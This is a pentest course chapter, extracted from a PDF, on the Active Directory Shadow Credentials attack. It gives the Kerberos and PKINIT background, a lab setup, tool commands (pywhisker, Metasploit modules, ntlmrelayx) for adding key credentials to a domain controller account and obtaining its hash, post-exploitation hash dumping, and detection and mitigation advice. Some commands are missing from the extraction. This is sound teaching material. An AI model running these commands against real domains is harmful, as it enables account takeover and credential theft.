Active Directory Pentest Course-3
Active Directory Pentest Course-3
1|Page
Shadow Credentials Attack
Contents
Introduction ............................................................................................................................................. 3
Introduction to Kerberos Authentication................................................................................................. 3
Symmetric Encryption in Kerberos................................................................................................. 3
Asymmetric Encryption with PKINIT ............................................................................................ 3
The msDS-KeyCredentialLink Attribute ........................................................................................ 4
How Shadow Credentials Work ...................................................................................................... 5
Prerequisites ............................................................................................................................................ 5
Lab Setup ................................................................................................................................................ 6
Create the AD Environment: ........................................................................................................... 6
Domain Controller: ......................................................................................................................... 6
User Accounts: ................................................................................................................................ 6
Add 'Krishna' User to Privileged Groups: ....................................................................................... 6
Exploitation ............................................................................................................................................. 8
Bloodhound – Hunting for Weak Permission ..................................................................................... 8
Method for Exploitation ........................................................................................................................ 11
PyWhisker ......................................................................................................................................... 11
PKINITtools...................................................................................................................................... 13
Certipy-ad ......................................................................................................................................... 13
NTLMRelayx .................................................................................................................................... 14
BloodyAD ......................................................................................................................................... 16
Metasploit ......................................................................................................................................... 17
Ldap_shell ......................................................................................................................................... 18
Post-Exploitation................................................................................................................................... 19
Impacket -psexec .............................................................................................................................. 19
Evil-winrm ........................................................................................................................................ 19
Detection & Mitigation ......................................................................................................................... 20
Detection ........................................................................................................................................... 20
Kerberos Authentication Ticket (TGT) Request ........................................................................... 20
Active Directory Object Modification .......................................................................................... 20
Mitigation.......................................................................................................................................... 21
Regular Audits and Compliance Checks:...................................................................................... 21
Implementing Strong Access Controls:......................................................................................... 21
Multi-Factor Authentication (MFA):............................................................................................. 21
Periodic Key Rotation: .................................................................................................................. 21
2|Page
Shadow Credentials Attack
Introduction
To begin with, this post explores the exploitation technique known as the Shadow Credentials attack.
This attack leverages the mismanagement or exploitation of Active Directory Certificate Services (AD
CS) to inject custom certificates into a user account, granting attackers persistent access. As a result
of modifying the msDS-KeyCredentialLink attribute, adversaries can effectively create "shadow
credentials" that allow them to authenticate as the target user without needing their password or
NTLM hash.
The post outlines lab setup, exploitation methods, and mitigation techniques, mapped to the MITRE
ATT&CK framework for clarity. In addition, detection mechanisms and actionable recommendations
are provided to help security professionals identify and defend against this prevalent threat.
Specifically, this article focuses on the Shadow Credentials attack, a stealthy method that enables
persistence in Active Directory by exploiting misconfigurations in certificate-based authentication.
1. AS-REQ (Authentication Service Request): The client sends a request to the Key Distribution
Center (KDC), including a timestamp encrypted with a key derived from the user’s password.
2. AS-REP (Authentication Service Response): The KDC validates the timestamp using the
user’s stored hash and returns a Ticket Granting Ticket (TGT) encrypted with the KDC’s secret
key.
3. TGS-REQ and TGS-REP: The client uses the TGT to request access to a service, and the KDC
issues a service ticket.
However, while symmetric encryption is effective, it relies on shared secrets (passwords) and is not
suitable for scenarios requiring public key infrastructure (PKI), such as smart card authentication.
PKINIT Certificate Authentication: Uses a traditional X.509 certificate and private key pair to
authenticate a Kerberos client. The KDC directly validates the certificate.
PKINIT Key Trust: Relies on a public key stored in the msDS-KeyCredentialLink attribute of an AD
object. The KDC authenticates the client by verifying that the public key used in the authentication
request matches the one stored in the AD object, without needing a traditional certificate.
1. AS-REQ with PKINIT: The client sends a request to the KDC, including a timestamp signed
with the client’s private key and the corresponding public key.
3|Page
Shadow Credentials Attack
2. Public Key Validation: The KDC checks the client’s public key against the msDS-
KeyCredentialLink attribute in Active Directory. Means, instead of directly using the
certificate for authentication, the KDC is validating if any of the public keys in the msDS-
KeyCredentialLink attribute of the user matches the one used in the AS-REQ. If the key is
valid, the KDC decrypts the timestamp and verifies the signature.
Consequently, Among various lateral movement and persistence techniques, the Shadow
Credentials attack has become a significant concern for AD security analysts due to its covert nature
and minimal visibility on traditional SIEM tools.
2. Each value in this attribute contains serialized objects called Key Credentials. These objects
include.
o Creation date
3. During PKINIT authentication, the client’s public key is verified against the values stored in
this attribute. If a match is found, the KDC proceeds with authentication.
Key Admins: members of this group can perform administrative actions on key objects within the
domain. The Key Admins group applies to the Windows Server operating system in Default Active
Directory security groups.
Enterprise Key Admins: members of this group can perform administrative actions on key objects
within the forest.
Domain Admins: members of this group have almost all the privileges within a domain, including the
ability to modify attributes.
5. It is important to note that user objects can’t edit their own msDS-KeyCredentialLink
attribute, while computer objects can. On the other hand, computer objects can edit their
own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already
exists.
4|Page
Shadow Credentials Attack
To clarify the process, here is how the attack works step by step:
The attacker identifies an Active Directory object (such as a user or computer account) where they
have permissions to modify attributes. Permissions like GenericWrite or GenericAll are required to
modify the msDS-KeyCredentialLink attribute.
Next, the attacker adds their own public key to the msDS-KeyCredentialLink attribute of the target
account. This process essentially “registers” the attacker’s key as a valid authentication method for
the target.
The attacker creates a certificate in PFX format using the private key associated with the injected
public key. This certificate is now tied to the target account.
With the generated certificate, the attacker authenticates to the domain using PKINIT. The KDC
validates the attacker’s public key against the msDS-KeyCredentialLink attribute and issues a Ticket
Granting Ticket (TGT) for the target account.
Prerequisites
• Windows Server 2019 as Active Directory that supports PKINIT
• Domain must have Active Directory Certificate Services and Certificate Authority configured.
• Kali Linux
5|Page
Shadow Credentials Attack
Lab Setup
In this lab setup, we will create a user named 'Krishna' and elevate its privileges by adding it to the
Key Admins and Enterprise Key Admins groups. This setup will showcase how attackers can exploit
the msDS-KeyCredentialLink attribute to perform a Shadow Credentials attack, demonstrating
privilege escalation and unauthorized persistent access.
Domain Controller:
• Install Windows Server (2016 or 2019 recommended) that supports PKINIT.
• The domain must have Active Directory Certificate Services and a Certificate Authority
User Accounts:
• Firstly, create an AD user account named Krishna.
Steps:
• Open Active Directory Users and Computers (ADUC) on the Domain Controller.
• Enable the Advanced Features view by clicking on View > Advanced Features.
6|Page
Shadow Credentials Attack
• In the “Enter the object name to select” box, type Key Admins and Enterprise Key
Adminsand click Check Names and click on OK
7|Page
Shadow Credentials Attack
Setting up a controlled environment is crucial to accurately simulate and analyze the Shadow
Credentials attack in a real-world AD environment.
Exploitation
Bloodhound – Hunting for Weak Permission
To verify the setup, use BloodHound to Confirm Privileges: You can use BloodHound to verify
that Krishna have the ability to write to the "msds-KeyCredentialLink" property on DC.IGNITE.LOCAL
8|Page
Shadow Credentials Attack
From the graphical representation of Bloodhound, the tester would like to identify the Reachable
high value targets for selected user.
9|Page
Shadow Credentials Attack
Thus, it has shown the Krishna User have the ability to write to the "msds-KeyCredentialLink"
property on DC.IGNITE.LOCAL. Writing to this property allows an attacker to create "Shadow
Credentials" on the object and authenticate as the principal using Kerberos PKINIT.
10 | P a g e
Shadow Credentials Attack
PyWhisker
From UNIX-like systems, the msDS-KeyCredentialLink attribute of a user or computer target can be
manipulated with the pyWhisker tool.
List all the current KeyCredential IDs and their creation times associated with the DC$ object.
PyWhishker add functionality, will generates a public-private key pair and adds a new key credential
to the target object DC$.
Following this, the output specifies the PFX file (and its associated password) where the certificate is
stored. You will need this in the next step to obtain a Kerberos TGT (ticket-granting-ticket) for the
machine account using PKINIT.
pywhisker -d "ignite.local" -u "krishna" -p "Password@1" --target "DC$" --action "add" --filename DC$
11 | P a g e
Shadow Credentials Attack
After you add the new key, rerun the list command to verify that the system successfully added it.
This time, the output will show the newly created KeyCredential ID, along with its creation time,
including the Device ID of the new key.
Next, use the pywhisker info command to retrieve detailed information about the newly added
KeyCredential linked to the DC$ object, identified by the Device ID.
pywhisker -d "ignite.local" -u "krishna" -p "Password@1" --target "DC$" --action "info" --device-id e9c84cef-af24-
9755-8ce3-67088fd3d280
12 | P a g e
Shadow Credentials Attack
PKINITtools
Utilize PKINITOOLS to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account
Request a TGT using the PFX file that we generated using whisker’s add functionality. This uses
Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP
encryption key which you may need for the getnthash.py tool.
Set the KRB5CCNAME environment variable to point to the previously generated dc$.ccache file
export KRB5CCNAME=/root/PKINITtools/dc\$.ccache
The getnthash.py tool utilizes Kerberos U2U (User-to-User) to submit a TGS (Ticket Granting Service)
request for the attacker, which includes the PAC (Privilege Attribute Certificate). The PAC contains the
NT hash for the targeted account, and the tool decrypts it using the AS-REP key that was used to
obtain the TGT (Ticket Granting Ticket). This allows the attacker to extract the NTLM hash for further
exploitation, such as Pass-the-Hash attacks.
Certipy-ad
As an alternative, Certipy can automate these steps in a single command, streamlining the
exploitation process.
Certipy's shadow command has an auto action, which will add a new Key Credential to the target
account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and
finally restore the old Key Credential attribute.
13 | P a g e
Shadow Credentials Attack
NTLMRelayx
Alternatively, you can set shadow credentials on the computer object using ntlmrelayx.
We will launch ntlmrelayx with the “–shadow-credentials” option and the “–shadow-target”
parameter set to the name of the computer account that we are expecting to relay (in this case, DC$)
14 | P a g e
Shadow Credentials Attack
After a brief wait, we receive an HTTP connection from the DC$ computer account along with its
NTLM credentials. These credentials are then relayed to the LDAP service on the domain controller
and the msDS-KeyCredentialLink attribute of the relayed computer account is updated.
Utilize PKINITOOLS to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account
Set the KRB5CCNAME environment variable to point to the previously generated shadow.ccache file
export KRB5CCNAME=shadow.ccache
15 | P a g e
Shadow Credentials Attack
BloodyAD
Alternatively, BloodyAD tool can be used to add Shadow Credentials to the msDS-KeyCredentialLink
attribute of the target object (DC$) in the domain ignite.local
The above command generated certificate file along with private key in pem file format
Utilize PKINITOOLS to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account
Set the KRB5CCNAME environment variable to point to the previously generated raj.ccache file
export KRB5CCNAME=raj.ccache
16 | P a g e
Shadow Credentials Attack
Metasploit
This module can read and write the necessary LDAP attributes to configure a particular account with
a Key Credential Link. This allows weaponizing write access to a user account by adding a certificate
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
must have write access to the target object (the object specified in TARGET_USER).
use auxiliary/admin/ldap/shadow_credentials
set rhosts 192.168.1.58
set username krishna
set password Password@1
set domain ignite.local
set target_user dc$
set rport 636
set ssl true
set action add
run
Certificate file is stored in the /.msf4/loot folder. Since the file name is too long we can rename it for
our convenience.
17 | P a g e
Shadow Credentials Attack
The auxiliary/admin/kerberos/get_ticket module can be used to request TGT/TGS tickets from the
KDC.
use auxiliary/admin/kerberos/get_ticket
set rhosts 192.168.1.58
set action GET_HASH
set domain ignite.local
set username dc$
set cert_file /root/.msf4/loot/dc.pfx
run
Ldap_shell
Similarly, you can achieve this using ldap_shell.
18 | P a g e
Shadow Credentials Attack
Post-Exploitation
Using DC machine hash, dump the administrator NTLM hashes from the domain controller. And then
perform lateral movement using psexec or evil-winrm.
Impacket -psexec
Using Impacket’s secretdump script to extract password hashes.
Evil-winrm
Another option is to use evil-winrm to perform the same action.
19 | P a g e
Shadow Credentials Attack
In light of this, defending against a Shadow Credentials attack requires both proactive monitoring
and understanding of how certificate-based authentication interacts with AD object permissions.
• Key Indicator: Look for events where Certificate Information attributes are not blank in the
TGT request. This may suggest the use of certificates for authentication, potentially pointing
to shadow credential abuse or malicious activity.
• Anomaly: Notably, if a System Access Control List (SACL) audits modifications to Active
Directory objects for the targeted account, the system logs an event when it modifies an
object (such as a user or device account).
20 | P a g e
Shadow Credentials Attack
• Key Indicator: Look for modifications to the msDS-KeyCredentialLink attribute, which links
keys to user or service accounts. If the modification is performed by an account other than
the legitimate Azure AD Connect synchronization account or the ADFS service account, this
could signal suspicious activity.
By monitoring these key events, you can effectively detect shadow credential attacks and respond to
potential security breaches in your environment.
Mitigation
Regular Audits and Compliance Checks:
Regularly audit AD accounts and their attributes to detect shadow credentials early. Compliance
checks should make sure that all key credentials are valid and necessary. It's also important to know
how normal key credentials are stored, especially for third-party systems. This will help in identifying
suspicious keys.
In conclusion, Understanding the Shadow Credentials attack is crucial for strengthening Active
Directory defenses against PKINIT and KeyCredential abuse.
21 | P a g e
JOIN OUR
TRAINING PROGRAMS
H ERE
CLICK BEGINNER
Network Pentest
Wireless Pentest
ADVANCED
Advanced CTF
Android Pentest Metasploit
EXPERT
Privilege Escalation
APT’s - MITRE Attack Tactics
Windows
Active Directory Attack
Linux
MSSQL Security Assessment
www.ignitetechnologies.in